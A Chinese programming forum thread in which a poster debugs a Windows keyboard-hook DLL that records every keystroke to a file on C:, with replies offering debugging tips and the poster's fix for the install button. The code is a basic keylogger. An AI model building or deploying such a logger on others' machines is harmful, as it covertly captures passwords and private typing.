问题概述:写了一个键盘钩子程序,运行时点击我设计客户端的按钮“安装键盘钩子”或者对话框直接没了,或者出现Dedug Assertion Failed!在C:目录下也没有发现report.txt,动态链接库DLL和客户端EXE都编译通过了,不知道是哪出现问题了,望高手指教!,在线等!
主程序如下 :LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
 char ch;
 if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
 {
 f1=fopen("c:\\report.txt","a+");
 if(wParam==VK_RETURN)
 {
 ch='\n';
 fwrite(&ch,1,1,f1);
 }
 else
 {
 BYTE ks[256];
 GetKeyboardState(ks);
 WORD w;
 UINT scan;
 scan=0;
 ToAscii(wParam,scan,ks,&w,0);
 ch=char(w);
 fwrite(&ch,1,1,f1);
 }
 fclose(f1);
 }

解决方案 »

  1.   

    LZ应该单步一下,确定是哪一部分代码有问题,或者是哪一个断言失败了。只说出现Dedug Assertion Failed的话,是没有用的,帮不了你……而且,你的代码也给的不全……既然是创建HOOK时出错,至少应该把创建HOOK的代码贴出来(不仅仅是HOOK的处理过程)……
      

  2.   

    这不是C语言的吗!我学的是C++,对C文件操作不太熟悉!
      

  3.   

    你的DLL应该有问题吧,为什么要引出KeyboardProc?
      

  4.   

    自己很傻的发现,界面中的“安装键盘钩子”这个按钮的函数没写,自然是会不执行任何操作后自动退出,添加后的函数是
    void CKBtextDlg::OnOK() 
    {
    // TODO: Add extra validation here
    static HINSTANCE hinstDLL;
    typedef BOOL(CALLBACK *inshook)();
    inshook instkbhook;
    hinstDLL=LoadLibrary((LPCTSTR)"KBhook.dll");
    instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
    instkbhook();
    ShowWindow(SW_MINIMIZE);
    //CDialog::OnOK();
    }